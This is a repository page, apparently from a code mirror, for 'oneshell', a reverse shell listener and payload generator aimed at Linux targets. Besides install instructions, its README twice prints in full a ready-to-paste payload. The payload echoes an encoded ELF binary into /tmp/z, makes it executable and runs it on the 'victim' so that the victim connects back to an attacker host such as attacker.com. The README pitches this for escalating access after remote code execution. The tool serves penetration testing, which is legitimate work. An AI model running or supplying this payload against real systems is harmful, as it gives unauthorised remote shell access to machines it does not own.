oneshell - GitLite

KO | EN

gitlite — search

#hacktoberfest #react #deep-learning #nodejs #macos #windows #awesome #vue #security #pytorch #mcp #ios #openai #open-source

oneshell

(★ 119)

Reverse shell listener and payload generator designed to work on most Linux targets

File Explorer

Download Latest Version (.zip)

- go.mod
- main.go
- root.go
- - client.go
  - patching.go
  - stage1.go
  - stage2.go
  - treyfer.go
  - util.go
- certs.go
- echoify.go
- getip.go
- listen.go
- build-dist-docker.sh
- build-dist.Dockerfile
- build-dist.sh
- build-docker.sh
- publish.sh
- - disas.sh
  - stage1.asm
- - constants.h
  - disas.sh
  - stage2-c.out
  - stage2.asm
  - stage2.c
.gitignore
Dockerfile
go.mod
go.sum
LICENSE
main.go
README.md
SECURITY.md

# Installation Guide

1. Get the code

git clone https://github.com/tantosec/oneshell

Downloads the entire project code from GitHub to your computer.

cd oneshell

Moves into the project folder you just downloaded.

2. Official Install Script

Easy Recommended

Prerequisites

Go Go is required to use go install.

go install github.com/tantosec/oneshell@latest

Downloads and installs the specified version directly — no need to clone the repo yourself.

✅ After installing, open a new terminal and run the program's version command (e.g. --version) to confirm it worked.

Pulled directly from this repo's README.

3. Docker

Easy

Prerequisites

Git Needed to download the project code from GitHub.
Docker Desktop Needed to build and run containers. Install it and keep it running in the background.

docker run --rm -it -p 9001:9001 tantosec/oneshell

Runs the built image as an actual container.

✅ Run docker compose ps to check the containers are Up. If the README mentions a port, open http://localhost:PORT in your browser.

Pulled directly from this repo's README.

4. Go

Medium

Prerequisites

Git Needed to download the project code from GitHub.
Go The Go compiler and toolchain.

go install github.com/tantosec/oneshell@latest

Downloads and installs the specified version directly — no need to clone the repo yourself.

✅ If the build finishes without errors, it worked. If you used go run ., check the terminal output.

Pulled directly from this repo's README.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# One Shell To Rule Them All

![image](https://github.com/user-attachments/assets/4a390578-47cb-423a-87ca-ad681a46731c)

# Installation

**Docker**

Replace `oneshell` commands with the following:

```bash
docker run --rm -it -p 9001:9001 tantosec/oneshell
```

> Remember to update the value of the `-p` option to the port you are using.

**Local install**

```bash
go install github.com/tantosec/oneshell@latest
```

**Prebuilt binary**

Download a binary from [the releases page.](https://github.com/tantosec/oneshell/releases)

# Basic Usage

If you want your payload to connect back to `localhost` on port `9001`, run the following command:

```bash
oneshell -t localhost -p 9001
```

In the real world, you will probably have an internet accessible server (for example `attacker.com`) with a firewall that allows port `9001` through. As you want the victim to connect back to `attacker.com`, you will run a command like this on the `attacker.com` machine:

```bash
oneshell -t attacker.com -p 9001
```

You should receive output similar to the following:

```
Generating temporary MTLS certificates...
Payload connects to 127.0.0.1:9001
Copy the following command and run on victim:

zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z

2024/07/15 15:51:17 Listening for connections on 0.0.0.0:9001
```

Copy the part that says

```
zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z
```

and run it on the victim. You should receive an interactive shell connection on the server, which will be secured with mutual TLS.

# Why?

Let's say that you have achieved remote code execution on a target machine and are looking to escalate your privileges. You might think to establish a reverse shell to make this process easier.
However, being a security professional, you want your connection to be encrypted to prevent data being transferred insecurely.

It turns out that there are a few ways to do this, mostly involving the `openssl` or `ncat` tools. What if you don't have these tools on the target? One solution is to download them over the internet using `curl` or `wget`. But what if the target doesn't have these binaries either? The base `ubuntu` Docker image doesn't.

"One Shell To Rule Them All", or `oneshell` for short, is a tool that can solve this problem. It does this by running an encrypted reverse shell using only the `echo` and `chmod` commands.

To find out how it works, check out my blog on the topic [here](https://tantosec.com/blog/oneshell/).

# Detailed requirements for a successful payload

* Target can connect to your listener via TCP
* Shell execution on the target (for example `system` in PHP)
    * This will allow using the `echo` inbuilt shell command
* x86_64 CPU (Arm64 support coming soon)
* `chmod` binary located on path
* The ability to write to the following file paths: `/tmp/x`, `/tmp/y`, `/tmp/z`

These conditions cover almost all server setups.

# References

* Basis for Tiny ELF file from [https://nathanotterness.com/2021/10/tiny_elf_modernized.html](https://nathanotterness.com/2021/10/tiny_elf_modernized.html)
* AES implementation sourced from [https://github.com/mko-x/SharedAES-GCM/tree/master/Sources](https://nathanotterness.com/2021/10/tiny_elf_modernized.html)